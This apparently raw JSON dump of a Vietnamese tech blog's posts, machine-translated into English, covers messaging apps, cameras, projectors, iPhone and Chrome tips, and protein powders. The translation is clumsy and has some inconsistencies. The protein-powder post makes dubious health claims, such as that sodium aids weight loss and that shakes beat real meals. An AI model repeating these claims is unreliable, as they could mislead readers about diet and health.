messaging features are quite complete and useful for most users. Like Viber, the power of this app is similar to the powerful WhatsApp tool, and it will be a worthwhile consideration if WhatsApp doesn't suit your needs.\nOne thing to note is that Tango does not seem to have any kind of encryption on the message, so if you are particularly concerned about online privacy, you can give up on Tango and choose one. in other applications.\nMain function:\nPhone calls from Tango users to other Tango users are free (domestic and international). Free Tango calls are free in the United States, Canada, India and Mexico. Messages from users of Tango to other Tango users may include text, voice, image, video, document, sticker. Messages from users of Tango to other Tango users can be sent to groups. Use your current phone number. Request a Tango account. Available on Android and iOS. Tango ranked 4.3 out of 3,600,000 total reviews. Download Tango (free).\nKakaoTalk (Android, iOS, Windows, Mac)   KakaoTalk is used by more than 90% of smartphone owners in Korea, but it is also very popular in the US, most of whom are Korean Americans.\nBut over the past few years, it has attracted quite a few users from other countries, partly because of its modern interface, fast performance and powerful features. Unfortunately, the lack of encryption is a pretty big minus for this application.\nMain function:\nPhone calls from Kakao users to other Kakao users are free (both domestic and international). Messages from this Kakao user to other Kakao users may include text, voice, images, videos, stickers. Messages from this Kakao user to other Kakao users can be sent to groups (unlimited). Use your current phone number and address book. Exclusive deals and discounts on well-known brands. Available on Android, iOS, Windows and Mac. KakaoTalk is ranked 4.2 out of more than 2,300,000 reviews. Download KakaoTalk (free).\nWhat messaging application do you use? What features do you want to have for a messaging application? Are there any interesting applications that the article missed? Share with us in the comment section below!\nSee more:\nFree messaging application without Internet Top 3 best free messaging applications in Vietnam today Instructions for sending free SMS via Outlook ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdm7%2BmsYymnKyrkZy2r7OMmqep\n","link":"/post/the-best-free-messaging-app/","section":"post","tags":null,"title":"The best free messaging app"},{"body":"Keep your home and property safe, by tracking what is happening outside through a connected camera. These smart outdoor security cameras can withstand a variety of weather conditions, to keep the house protected from the inside out.\nProduct's name Price (VND) 10 million 8.4 million 5.6 million 2 million 5.8 million WiFi connection WiFi WiFi WiFi WiFi Integrated Amazon Alexa, Google Assistant, IFTTT Amazon Alexa, Apple HomeKit, Google Assistant, IFTTT Amazon Alexa, Google Assistant, IFTTT Amazon Alexa, Google Assistant, IFTTT IFTTT 2K resolution 4K 1080p 1080p 1080p Viewing angle 160 degrees 180 degrees 135 degrees 118 degrees 115 degrees Memory Cloud, local Cloud, local Cloud, local Cloud , local Cloud Email notification, Email push notification, push notification Push notification Push notification Yes Yes Yes No Yes Capable of night recording Yes Yes Yes Yes Yes Yes Two-way audio Yes Yes Yes Yes Yes Arlo Pro 3 Advantages:\nExcellent 2K HDR video Wireless Integrated lights Smart motion detection Record color at night Works with Alexa, Google Assistant and IFTTT Easy to set up Defect:\nExpensive Request a hub Some features are only available through registration Arlo Pro 3 is a wireless indoor / outdoor camera system, provides beautiful 2K video and is equipped with features including built-in projector and siren, intelligent motion detection, original color recording night and field look extremely wide.\nArlo Ultra Advantages:\nWireless Withstand weather conditions Detailed 4K images with wide viewing angles Record color at night Motion detection based on AI Integrated lights Automatically zoom and track motion Supports Amazon Alexa, Apple Watch and Google Assistant Defect:\nExpensive Request a hub Some features require registration Arlo Ultra is the first outdoor security camera to be able to stream and record videos in stunning 4K resolution. Arlo Ultra is expensive, but comes with many features including night color recording, motion tracking, auto-zooming and intelligent motion detection.\nD-Link Outdoor WiFi Camera DCS-8600LH mydlink Full HD Advantages:\nSharp HD video Store videos to local storage and cloud for free Sound and motion detection Works with other smart devices Supports Amazon Alexa and Google Assistant voice commands Easy to set up Defect:\nLack of Apple HomeKit support. No microSD card included D-Link's DCS-8600LH is a weather-proof outdoor security camera, provides crisp HD video, motion and sound detection, provides free local and cloud storage, Works with multiple devices, as well as third party services.\nWiFi security camera Ezviz C3W ezGuard Advantages:\nGood price Crisp 1080p video Local and cloud video storage Support Alexa voice commands and Google Assistant, IFTTT applets Integrated flashing light and siren Easy to set up Defect:\nDo not interact directly with other smart home devices Ezviz C3W ezGuard WiFi security camera is a very affordable surveillance camera that allows you to monitor activities outside your home.\nRing Stick Up Cam Battery Advantages:\nCompletely wireless Crisp 1080p video Works with Alexa and IFTTT voice commands Motion detection No hub required Integrated siren Easy to set up Defect:\nExpensive Video recording requires a cloud service subscription. Ring Stick Up Cam Battery is a versatile battery-powered indoor / outdoor security camera that records video when motion is detected and stores it in the cloud.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqwwdOdpqiqXaiypMHRoquyZZOWuqa%2BwKxka2hiZQ%3D%3D\n","link":"/post/top-5-best-outdoor-security-cameras-2020/","section":"post","tags":null,"title":"Top 5 best outdoor security cameras 2020"},{"body":"A projector is an important device for a home theater system. While TVs are a better option for delivering true 4K HDR content, you can't accept images larger than 75 inches.\nBut 75 inches is only the beginning if you have a good projector. Whether you want to play Blu-ray movies on a large white wall, enlarge your gaming experience, or view photos and slides from your mobile device on a 100-inch screen, a projector is the first choice.\nHere are the best projectors from Full HD to true 4K (native 4K) models that support HDR at all prices for your choice.\nTop 5 best mini projectors Compare the advantages and disadvantages of LCD and DLP technology projectors Principles of choosing a projector Note: Projector prices in this article are for reference only at the time of writing, are subject to change. You should contact the seller for the best price.\n1. Optoma UHD40 (nearly VND 26 million) Technical data:\n4K Capabilities : Yes HDR : Yes Speaker : 2 x 5W Lamp : 2400 lumens Lamp life : 4000 hours Contrast ratio : 500,000: 1 Input : 2 HDMI ports, 1 USB port, 3.5mm Advantages:\nColourful Details Smooth movement Defect:\nBlack details are not very good   If you want top-notch technology and great images at a low price, this projector is worth a look. You will get 4K and HDR capabilities for less than 42 million VND.\nColors are vivid, true, detailed and smooth motion, Optoma UHD40 is an affordable standout projector, simple.\n2. Epson EH-TW650 (12.4 million VND) Technical data:\nType : LCD Resolution : Full HD Aspect ratio : 16: 9 Contrast ratio: 15,000: 1 Input : 1 Composite port, 2 HDMI ports, 1 VGA port, 1 USB port 3D : No. Lamp life : 11 years Advantages:\nImages are sharp and clear Impressive brightness Actual color Defect:\nProblem with image stabilization   With this compact and great Epson projector, you can get great, great screen images for less than 14 million VND. This LCD projector is perfect for small rooms and small budgets.\nThe handling of brightness levels, colors and details is ingenious. This may be a Full HD projector, not 4K, but the EH-TW650 brings a bit of cinema magic into your living room without spending a lot of money.\n3. Epson EH-TW7400 (VND 41.3 million) Technical data:\nType : LCD Resolution : Full HD with 4K enhancements Aspect ratio : 16: 9 Contrast ratio : 200,000: 1 Input : 2 HDMI ports, 1 VGA port, 1 USB port 3D : Yes Lamp life : 5000 hours Advantages:\nPowerful image, vivid Rich and delicate colors Electronic lens Defect:\nNot 4K at all There is no 3D glasses   Even though only Full HD chips are available, Epson still supports 4K and HDR content thanks to its intelligent 4K enhancement technology. It's actually not the best 4K projector yet, but still delivers great images for the price. Epson does a great job of bringing sharpness and color to images, highlighting details in dark scenes. If you want something bigger than a flat-screen TV but more affordable than a true 4K projector, then this is a great solution.\n4. Optoma UHD65 (14.7 million VND) Technical data:\n4K Capabilities : Yes HDR : Yes Connectivity : 2 HDMI ports, 1 VGA port, 1 USB port, Ethernet, 3.5mm analog optical port Speaker : 2 x 4W Advantages:\nImpressive level of detail Good color Upscale good HD and SD movies Defect:\nDark scenes need more detail Avoid converting SDR to HDR   This is a sophisticated 4K-capable HDR projector at a competitive price. Those who are looking for projectors at top restaurants should seriously consider the Optoma UHD65.\nIt may not have all the advanced features of a high-quality 4K projector but at a lower price and can be used for years is an appropriate choice for many.\n5. Sony VPL-VW270ES (142 million VND) Technical data:\nResolution : Native 4K Control panel : SXRD HDR10 : Yes HLG Support : Yes Input : 2 HDMI ports Lamp life: 6000 hours HDCP 2.2 : Yes 3D : Yes Advantages:\nGreat sharpness Stunning contrast Support HDR10 and HLG Defect:\nDoes not provide 3D glasses   If you want one of the best 4K projectors and really compelling images, it's hard to miss the VPL-VW270ES. Like many Sony 4K projectors, it uses its proprietary 4K SXRD control panel to achieve true DCI 4K 4096 x 2160 resolution. The smooth image of the VPL-VW270ES has raised its caliber on cheaper rivals. If you want true 4K and don't care about price, this is the right projector.\n6. Sony VPL-VW550ES (VND 153.6 million) Technical data:\nResolution : Native 4K Control panel : SXRD HDR : Yes Maximum image size : 300in Connectivity : 2 HDMI 2.0 ports, 1 LAN port, 1 PC port, 1 USB port HDCP 2.2 : Yes Brightness : 1800 lumens Lamp life : 6000 hours Contrast ratio : 350,000: 1 Advantages:\nTrue colors Upscale SD and HD impressive Easy to set up and control   Sony has been offering some 4K projectors to the market for the past few years, all of them high-end and very commendable. The Sony VPL-VW550ES projector focuses more on authenticity and accuracy than eye-catching color saturation. Setting it up is also relatively simple, and when you own this projector you will enjoy movies with eye-catching images.\n7. LG CineBeam HU80KSW (nearly 56 million VND) Technical data:\n4K Capabilities : Yes HDR : Yes Speaker: 2 x 7W Brightness : 2500 lumens Lamp life : 20,000 hours Contrast ratio : 150,000: 1 Maximum image size : 150in HDCP 2.2 : Yes Connectivity : 2 HDMI ports, 2 USB ports, 1 3.5mm port, Ethernet, Bluetooth, Wifi, Miracast Streaming apps : Netflix, YouTube, Amazon Prime Video and BBC iPlayer Advantages:\nIs a system block, really mobile Impressive 4K HDR images Easy to set up Defect:\nLack of a little detail Motion needs to be better Integrated speakers just enough to hear   LG CineBeam is one of the most fully featured projectors you can find. The performance of the LG CineBeam HU80KSW projector may not be the best on this list but it delivers great 4K HDR images.\nThis projector is equipped with a great webOS platform, so you can access all video applications via Wi-Fi and Miracasting and Bluetooth capabilities can ad-hoc easily with all mobile devices. want to play from there.\n8. Nebula Capsule (nearly 7 million VND) Technical data:\nResolution : 854 x 480 Brightness : 100 lumens Streaming apps : Netflix, YouTube, Amazon Prime Video and BBC iPlayer Connectivity : AirPlay, Chromecast, Miracast, HDMI, microUSB, Bluetooth speaker mode Operating system : Android 7.1 Advantages:\nNeat design The sound is clear Defect:\nImages in dark scenes are unclear Few applications Missing connection   This small boxy portable projector has an Android app store built in. The capsule can also be used as a dedicated Bluetooth speaker.\nWhether streaming from Netflix, Amazon Prime or YouTube, Capsule delivers beautiful images compared to other pico projectors. It's not perfect, but those looking for something a little different, easy to carry and easy to use will love the Capsule.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jHFkm52jqXqxvs6jnJysn6fAbrvFZmlpaWk%3D\n","link":"/post/top-8-best-projectors-of-2019/","section":"post","tags":null,"title":"Top 8 best projectors of 2019"},{"body":"Since 3D Touch technology has been put on iPhone 6S and later iPhone 6S Plus, users first experience the device control feature through the pressure on the touch screen. When users press on the touch screen, the system will receive commands and feedback to users to preview content or quickly open applications.\nThe 3D technology will analyze based on the force applied on the screen, including the force of force (Pop) or the light force (Peek), pointing the finger on the screen to return the results for our manipulation. And there will be a lot of shortcuts via 3D Touch technology on iPhone to help you use the device faster and much more convenient.\n1. Quick call to numbers that are normally contacted: To quickly open the phone numbers you frequently use, contact or text, you can click on the Phone app to show the 3 numbers or the most contact . When the list appears, we can make calls immediately without searching in the directory.\nIn addition, we can edit this contact in the Favorites Contact section. And when you click on the Phone app, the contact also changes.\n  2. Quick access to Camera: When the user presses on the Camera icon , quick options will appear, including taking a selfie or video recording.\n  3. Navigate home on Google Maps: When we click on the Apple Maps icon or Google Maps on the device, immediately appear the two Directions Home or Directions to Home options. When clicking on that option, a directions map will be immediately opened.\n  4. Preview email content: When you receive a notification of a new email, to preview the first part of the message, users just need to tap on any email in the list of mailboxes. To open and read the entire contents of the email, just press the screen.\n  5. Check message group members: In a message group to be able to quickly see the participants, click on the icon of the group text icon in Messages . Immediately the members present in that group will appear one after another.\n  6. Control mouse cursor: In the process of entering text content, to move to the text to edit we will use the mouse cursor. This operation sometimes makes it difficult for the user, and can be mistakenly manipulated. If so, we can use 3D Touch technology.\nClick on the on-screen keyboard to resize the keyboard display, turn the keyboard into a Touchpad and control the cursor, instead of using the magnifying glass as before.\n  7. Update the entire application: Normally to control the update of the application, we will think of Auto update feature immediately. However, if using Touch 3D is simpler, just click on the App Store icon and select the Update All item in the list that appears.\n  8. View Live Photo photo: To be able to quickly see a certain image in Live Photo mode, we can use 3D Touch by holding down the image to view it.\n9. Quick post Facebook status: One of the interesting shortcuts that 3D Touch has for Facebook, is that it is possible to write the status quickly without having to open the Facebook application.\nWe just need to click on the Facebook application icon on the interface, appear a list of options and then select Write Post to post status or Upload Photo / Video to quickly upload the image / video available on the device.\n  10. Play the song on Shazam: If we are installing Shazam application, we can take advantage of 3D Touch to open the song quickly. Click on the application icon, then select Shazam Now . The application will then launch and play music immediately afterwards.\n  Above are some tips for using 3D Touch on iPhone to be able to work quickly on the device. 3D Touch will help users save traditional operations that they used to use, instead of performing faster through force of force or light on the touch screen.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwrSxxa6jZquYpL%2B1r9StqmannmK2sbTOp5xmr5mptW5%2Fw2arqK2TnXq4tdOhpq6sXa68tr6MpKWor5yasaix\n","link":"/post/useful-shortcuts-on-iphone-with-3d-touch-without-your-knowledge/","section":"post","tags":null,"title":"Useful shortcuts on iPhone with 3D Touch without your knowledge"},{"body":"Shredding the pounds can prove to be a daunting task for many individuals. Innumerable hours of grinding in the gym with the result of dropping a couple of kilos can certainly be discouraging. But with the appropriate diet, you can amplify these small numbers of weight loss to reach your desired goal.\nAn essential ingredient that you can look up to lose weight is protein. A high protein diet not only aids in building muscle mass but also assists in reducing appetite and burning fat, which in turn leads to weight loss.\nA protein-rich meal ensures that an individual remains full for more extended periods while providing the energy necessary to function throughout the day. Meat and nuts are a rich source of protein.\nAdditionally, protein powders are specially designed for people who wish to build muscle mass and lose weight during the process. The protein present in these protein powders is extracted from highly concentrated plant or dairy-based sources and incorporate other ingredients that are vital for weight loss.\nNow, the question at large is: what is the best protein powder for weight loss and how to choose and use one?\nWhat To Consider Before Purchasing Any Protein Powder I made here a comprehensive list of protein powders that will massively help you with your goals. But before you go to your local vendor to buy one, you have to keep in mind certain things.\nThere are a few factors that you must keep in mind while purchasing a protein powder. Here are some of the important factors to assist you in buying the best protein powder for weight loss that will suit your needs.\n1. Potential Dietary Restrictions There is no single best protein powder for weight loss that fits everyone because we all have different dietary restrictions. When going for a protein powder, ensure that you keep in mind all the dietary restrictions that you have imposed upon yourself.\nIf you are vegan, select a protein powder that contains protein solely extracted from plants such as soy, hemp, or pea rather than opting for milk-based protein powders such as whey.\nFurthermore, individuals who have diabetes should purchase a protein powder that doesn't contain added sugar in it. It is also recommended for such individuals to select a protein powder that has low carb content.\nPeople with kidney diseases would find it immensely difficult to absorb a large amount of protein in a single serving. Therefore, a lower-range protein content protein powder is recommended for such people.\n2. Reading the Label You must read the label of the protein powder that you think is appropriate for you.\nReading the name of the protein powder will give you a general sense of clarity as to what that particular product offers – whether it is a milk-based or a plant-based protein powder, whether it would it be suitable to your weight loss needs, whether it contains any artificial sweeteners or not, and whether it includes creatine or not.\nThus, reading the label will nudge you on the right path while buying a protein powder.\n3. Serving Size Serving size is another important factor you should consider before purchasing a protein powder. Every protein powder incorporates a scoop that is calibrated to the nutritional content label on the container.\nAs far as the size of the scoop is concerned, it varies from brand to brand. As I've said, there is no single best protein powder for weight loss. Choosing the best one depends mainly on your goals. Therefore, you should purchase a protein powder that satisfies your weight loss requirements.\n4. Experiment With a Blend Go for a protein powder that embodies a blend of high-quality proteins, like casein, whey, and soy, as they contain all the nine crucial amino acids.\nThe incorporation of these amino acids is quite essential for our bodies as they boost the muscle mass gain factor. The inclusion of soy protein is quite vital as it massively aids in recovery after a rigorous workout session, whereas the addition of whey and casein protein proves to be quite crucial to increase the protein synthesis; which in turn increases muscle mass.\nThus, purchasing a protein powder that contains all the proteins mentioned above would help your cause.\n5. Sodium Sodium, if taken in excess, can lead to increased blood pressure and can also elevate the risk of heart-related issues. Although the incorporation of sodium in a protein powder tends to increase the muscle gain factor and assists in weight loss, you are likely putting yourself at risk if you purchase a protein powder with a high sodium rating.\nA study showed that out of 50 protein supplements, 47 had a high Sodium content. Thus, to be on the safe side, purchase a protein powder with low sodium content.\n6. Calories Calorie intake is undoubtedly an essential factor to consider when purchasing a protein powder. Your main goal of working out is to shred those extra pounds that you have put on.\nTo achieve your goal, you must decrease your caloric intake and burn more calories throughout the day. Therefore, you should intake food that is low in calories.\nAs far as the protein powder is concerned, its sole aim is to provide you with the protein that you lack in your everyday diet. Go for a protein powder that is low in calories.\n7. Other Nutrients Go for a protein powder that doesn't contain additives such as creatine, taurine, BCAAs, glycine, and many more. These are high-nitrogen amino acids whose incorporation makes a protein powder littered with junk and is of no use.\nWhen purchasing a protein powder, make sure that it doesn't contain the additives mentioned above as they can contaminate the protein content present in the product. Therefore, opt for a protein supplement that contains no additional additives whatsoever.\n10 Best Protein Powder for Weight Loss The following is an all-inclusive list of the best protein powders out there. If you are looking for the best protein powder for weight loss, this list has you covered.\n1. RSP AvoCollagen   RSP AvoCollagen is one of the top protein powders for weight loss and it has the following unique features:\nIncorporates 10 grams hydrolyzed collagen peptides Includes fats that assist in collagen production Promotes flexibility and enhances recovery Supports healthy growth of bones, hair, and nails A 20 grams scoop is included with 20 servings per container. Pros\nThe powdered content remains mixed when shaken once. Improves skin after minimal use Tastes great Cons\nSome consumers had issues while mixing the powder. Few people found that this product didn't suppress their appetites. Some people didn't like the smell of it. 2. 100% Grass Fed Whey Protein   100% Grass Fed Whey Protein, another healthy protein powder for weight loss, has the following salient features:\u0026nbsp; \u0026nbsp;\nIncorporates 25 grams Protein, 5.9 grams BCAAs vital for building lean muscle and lose weight Undergoes micro-filtration to curb bioactivity Does not contain any fillers Protein present is mixed with less than 1% Non-GMO sunflower lecithin. Thus, it blends perfectly. Mixes well with 12oz of unsweetened almond milk Pros\nIt elevates your energy levels. It is easily digestible. It contains no additives or preservatives. Cons\nSome individuals don't like the taste of the powder. A user indicated that the product contains a high amount of lecithin. Some people suffered from diarrhea after intaking the product. 3. RSP TrueFit   RSP TrueFit, one of the best protein powders for fat loss, brings the following features to the table:\nIncorporates 25 grams grass-fed whey protein and 5 grams BCAAs Includes 1 billion CFU Probiotics It contains 12 Non-GMO vegetables and fruits, and 8 grams prebiotic fiber from sweet potato fiber. Embodies 2-4 grams quality fats extracted from naturally occurring MCT oil and Whey Tastes delicious when a scoop is mixed with a banana and a cup of milk Pros\nMixes instantly when shaken Boosts energy levels straightaway after consumption Works as a cost-effective meal replacement protein supplement Cons\nSome consumers experienced lousy aftertaste after consumption. A few users experienced no change as far as curbing the appetite was concerned. The new version of the product contains minimal vitamins and minerals. 4. Orgain   Orgain has cemented its legacy as a prominent protein powder for weight loss. The following are some of its salient attributes:\nIncorporates 1.59lbs Orgain Plant-Based Protein Powder Includes 21 grams of organic plant-based protein and 5 grams of natural dietary fiber per serving It does not contain gluten, lactose, additional sugar, and artificial ingredients. Embodies 3 grams of net carbs and 150 calories per serving Tastes best when blended with unsweetened almond milk, half banana, and 2 tablespoons organic almond butter Pros\nIt immediately tends to lose food cravings. It contains fiber that significantly aids in digestion. The powder blends well in smoothies. Cons\nCaused bloating and stomach-ache in some users Some people detested its aftertaste. The inclusion of Erythritol can cause nausea. 5. Isopure Low Carb   Isopure Low Carb is a good protein powder for weight loss that has the following features:\nIncludes a protein source that provides 25 grams of protein per serving, contains Zinc It does not contain any GMO. Suppresses the use of artificial sweeteners and colors Massively aids in supporting ketogenic macros contain 120 calories per serving Tastes well when a scoop of powder is mixed with milk and some powdered peanut butter Pros\nIt contains low carbohydrate content. Mixes quite well with a shaker or spoon It contains no Stevia and has no weird aftertaste. Cons\nOne user noticed dense powdered grains in the container. A user complained about the unpleasant smell of the powder. This product isn't KETO friendly. 6. NUTIVA   It contains 10 grams of raw organic protein and 12 grams of fiber. Manufactured from raw hemp seed It does not contain trans fat and saturated fat. The protein incorporated in this supplement is high Omega 3 fats and antioxidants. Tastes well when mixed with 8 ounces of vanilla almond milk and a ripe banana Pros\nIt contains hemp that suppresses appetite. Includes fiber in bulk Massively aids in providing energy and boosts confidence levels Cons\nSome people complained about the packaging of this product. Some users had issues with the taste of the hemp. A few consumers complained about the supplement as being too overpriced. 7. Amazing Grass   Incorporates 20 grams of protein extracted from organic pea, quinoa, hemp, and chia It contains 7 alkalizing greens. 4 carbs, 9 nutrient-dense fruits, and veggies, 3 grams of fiber, and less than a gram of sugar. It does not contain GMOs. It is gluten-free, dairy-free, and grain-free. Does not have additional sugar Tastes exceptionally delicious when one scoop is mixed with 3 teaspoons of peanut butter powder and vanilla almond milk Pros\nThe inclusion of numerous ingredients in this protein powder proves to be quite beneficial. Extremely palatable It leaves a pleasant, long-lasting aftertaste. Cons\nIncludes Stevia which dampens the taste for some consumers. Some people complained about the powder being tasteless. A few individuals complained about the quantity of the supplement when it arrived. 8. PROMIX Unflavored Micellar   Supplies slow release of amino acids for a prolonged protein boost It contains no carbs or fat. Provides 25 grams of high molecular weight Casein Protein It does not include any GMO, soy, gluten, or additives. Tastes well when mixed with almond milk or coffee Pros\nBlends effortlessly even in cold water It comes in a high-quality container. It comes in handy while baking casein cookies. Cons\nSome people complained about the supplement having a terrible aftertaste. A few customers complained about the powder getting lumpy when wet. It is known to raise blood sugar levels in some diabetic individuals. 9. NOW Sports Pea Protein   Incorporates 24 grams of protein per serving A single serving includes 4,200 mg of BCAAs and more than 2000 mg of arginine. It does not contain any artificial sweeteners or GMOs. Kosher, dairy-free, soy-free, and steroid-free It tastes delicious with the addition of banana, along with 1 tablespoon of peanut butter and maple syrup in milk. Pros\nWorth the money It does not include any dairy-by-products, like whey or casein. The powder is soft and well-chafed. Thus, it blends quite effortlessly. Cons\nSome people experienced discomfort after consumption. An individual complained about plastic shards being in the powder. Some consumers had issues with the taste of the supplement and deemed it as 'horrendous'. 10. Ascent Native Fuel Micellar Casein   Dramatically aids in the prevention of muscle loss It contains 25 grams of protein and 11 grams of naturally occurring BCAAs per serving. Suppresses the use of artificial ingredients Explicitly manufactured to assist in muscle recovery. Takes up to 6-8 hours to digest completely; thus, suppresses appetite Tastes tremendously delicious when mixed with 5oz of almond milk along with banana and 1 tablespoon of peanut butter or maple syrup Pros\nHelps to curb late-night snacking Goes well with water It can also be consumed as a pudding. Cons\nSome people had issues with the blending of the powder. Some users complained about the taste being too 'chemical'. A few consumers had issues with the consistency of the product. Frequently Asked Questions 1. Is Real Food Better Than Protein Powder? Protein shakes work best for an individual who has a hectic schedule. They are a convenient alternative to a proper meal as they are a rich source of high-quality protein. Therefore, a protein supplement would work just as well as a meal, if not better.\n2. Will Protein Powder Become Denatured If It's Cooked? The particles of a protein supplement will denature when they are cooked. But consuming denatured protein isn't bad for our body. In fact, the protein content of the denatured powder remains the same. Thus, cooked or not, our body absorbs the protein, nonetheless.\n3. Will A Higher Protein Diet Harm My Kidneys? A high protein diet can be quite harmful to a person who is suffering from kidney-related diseases. If an individual does not suffer from any particular kidney disease, then intaking high-protein meals won't harm their kidneys.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWgp7y1scinZKmnp5mys3nFqKlmnZabsqTAyK%2BcZq%2BVnrSpwIylpqyr\n","link":"/post/best-protein-powder-for-effective-weight-loss/","section":"post","tags":null,"title":"Best Protein Powder for Effective Weight Loss"},{"body":"The following article introduces you to the GAMMA function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The function returns the gamma function value . Support functions from Excel 2013 onwards.\nSyntax:  GAMMA (number )\nInside:\n- number: The value you want to calculate the gamma function value .\nAttention:\n- Function of calculation using equation:\n[Gamma left (N right) = intlimits_0 ^ infty {{t ^ {N - 1}} {e ^ {- t}} dt}]\n- If number is a negative integer or equal to 0 -\u0026gt; the function returns the #NUM! Error value .\n- If the number value is not valid -\u0026gt; the function returns the error value #VALUE!\nFor example:\nFind the value of the GAMMA function of the values ​​in the data table below:\n u\n- In the cell to calculate enter the formula : = GAMMA (C6)\n  - Similarly copying the formula for the remaining values ​​results:\n  - Where the number value is a negative integer or equal to 0 -\u0026gt; the function returns the #NUM! Error value\n  - Where the number value is not a numerical value -\u0026gt; the function returns the error value #VALUE!\n  Above are instructions and some specific examples when using the GAMMA function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktKK5zJpkn62emMGqu81mq6GdXZvCr6%2FToqanZaKawba%2BzaxkraCVYrSiucyaZJ%2BtnpjBqrvNZq2apKWaeqq6jJ6vnJ2c\n","link":"/post/gamma-function-the-function-returns-the-gamma-function-value-in-excel/","section":"post","tags":null,"title":"GAMMA function - The function returns the gamma function value in Excel"},{"body":"Google has recently officially released version 78 of its Google Chrome web browser for Windows, macOS, Linux, ChromeOS, Android and iOS users.\nGoogle Chrome 78 version adds many new features such as support for password checking tools, custom menus for the New Tab page, transferring calls from the browser to the phone. On this version of the operating system, the old XSS Auditor security feature has been removed.\nThe new Customize menu allows users to customize the theme's colors according to their preferences by clicking 'Customize' in the lower right corner of the New Tab page.\n  The 'click-to-call' feature allows users to transfer calls from the browser to the phone associated with the Google account.\n  Tab Hover Cards feature supports users to quickly view content on a tab. Users can turn off or choose to use other hover styles by visiting the link below.\nchrome://flags/#tab-hover-cards    The most striking feature in Chrome 78 is the default Dark Mode for every website whether or not that website is supported. This feature uses color inversion to convert the site interface into Dark Mode, rather than changing the source code of the site.\nWhen this feature is enabled, some websites may look quite strange because they are not really perfect. But it still gives users an exciting experience that has never been possible before.\nTo enable Forced Dark Mode, users must update Chrome 78, then visit the address below.\nchrome://flags/#enable-force-dark    Chrome Password Safety Tool is an extension developed by Google, first integrated on Chrome 78. To activate Chrome Password Safety feature, users access the link below.\nchrome://flags/#password-leak-detection    Please download the all-new Microsoft Edge stable version of Chromium 78 from the official Microsoft website Deepin Linux - Extremely interesting operating system, beautiful interface, far beyond both Windows 10 and macOS Freeze tab, a new feature that helps Google Chrome to consume less RAM, please experience ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpuYp7yusYxwb2anlpu2pLXApaOyZZyWwq%2Bvx56qZpyRp7huuc6dnGaho2LBqbGMnZyfmaWhwW6yzqtkmqScYsSmrtKiq56r\n","link":"/post/google-chrome-78-officially-launches-dark-mode-is-the-default-for-all-websites/","section":"post","tags":null,"title":"Google Chrome 78 officially launches, Dark Mode is the default for all websites"},{"body":"Google is testing a new design style on the Chrome browser for Android and allows users to try it without installing Chrome Beta or Chrome Dev.\nFrom now on, users can activate the new interface for Google Chrome and experience by following the instructions below.\nInstructions for activating the new interface for Google Chrome\nStep 1: Visit the link below to download and install the latest version of Google Chrome browser for Android smartphones.\nGoogle Chrome for Android Step 2: Open the Chrome browser, copy the \"chrome: // flags\" path into the address bar and press Enter to access the activation features page that is only for developers or hidden.\n  Step 3: Enter the search box for keywords to explore-sites. At Explore websites, select Enabled -\u0026gt; click on Relaunch now to restart the browser and apply the new interface.\n    New UI is being tested by Google:\n  See more:\nTips to help use Chrome on Android effectively may not know you Pros and cons of Google Chrome Tips to speed up Chrome on Android ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpuYp7yusYybqaivo5q%2FbrvNZpinnKKktqV5x5qqZpldo7K4ecinq56qlpawpnnIp62irJVisrm8xKugnqaTmg%3D%3D\n","link":"/post/google-chrome-browser-on-android-has-a-new-interface-invite-experience/","section":"post","tags":null,"title":"Google Chrome browser on Android has a new interface, invite experience"},{"body":"The vivid graph in this article will show us how the most popular mobile web browsers fluctuated between 2010 and the present.\nIn 2010, Opera was the most popular browser, accounting for 27.78% of the market share. Following are Nokia Browser, Mobile Safari, BlackBerry Browser, Android Browser, UC Browser and IEMobile, respectively.\n  By 2011, the Mobile version of Safari had a breakthrough, surpassing Opera to become the most popular browser with a 23.76% market share. In 2011, the browser on the Android operating system also attracted more users to help it beat Nokia's browser.\nNearly a year later, Android Browser has surpassed Safari Mobile to take the lead. Nokia Browser and BlackBerry Browser have dropped sharply.\nIn January 2013, Google Chrome first appeared in the race to rank the most popular mobile web browsers. With a rapid growth rate, Chrome has taken the leading position with 24% market share, only after 18 months of launch. UC Browser is also growing steadily and gaining second place, after Chrrome in 2015.\nIn mid-2016, Safari Mobile has risen sharply, regaining second place. 2016 marked the arrival of Samsung Internet browser in 4th place.\nBy September 2019, Chrom continued to hold the top position with 61.13% market share, Safari Mobile accounted for 20.17% ranked second, the remaining positions were Samsung Internet with 6, 69%, UC Browser (6.31%), Opera Mobile, Android Mobile and KaiOS Browser.\nHow did Apple storm sweep and occupy the number 1 position in the list of the 15 most valuable brands on the planet? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjKGYrGWknbJuvsCnoqKml2K8p3nPqKeupJGneq67waKjnmWnmq9urtGorqydoqh6pLTAp56enF2eu266xJqppbFdlnqlscKam54%3D\n","link":"/post/how-has-the-ranking-of-popular-mobile-web-browsers-changed-in-nearly-a-decade/","section":"post","tags":null,"title":"How has the ranking of popular mobile web browsers changed in nearly a decade?"},{"body":"Clicking on the volume up and down keys on the iPhone will display the audio editing interface right in the middle of the screen. This interface will hide part of the screen content and users can collapse it with FlashyHUD tweak. This tweak supports changing the default interface to adjust the volume of iPhone installed iOS 11 and above has been jailbroken. When the sound bar is changed the display position and more compacted, the color of the tuning interface is also changed depending on the user. The customizable section provides a full range of options for changing position and color for the audio editing interface. The following article will show you how to adjust the volume bar on iPhone with FlashyHUD tweak.\nCommon iPhone audio errors and remedies This is a bug fix that cannot increase the ringtone volume on iPhone How to change iPhone screen lock sound How to set the default volume level for each application Instructions for installing FlashyHUD tweaks Step 1:\nUsers access Cydia and then access the Nepeta source to search for FlashyHUD tweaks, or click the link below to install now.\nhttps://repo.nepeta.me/depiction/me.nepeta.flashyhud     Step 2:\nAfter installation is complete, you go to Settings and then click on FlashyHUD to change settings. First we can proceed to adjust some content including:\nColor: media volume: music volume color mode. Color: ringer volume: color ring tone mode. Shadow: shadow mode. Disable animations: capture / disable animations. Position: Select the position of the volume control bar at the top, right, bottom or left. Inverted: color changing mode. Thickness: adjust the thickness of the volume 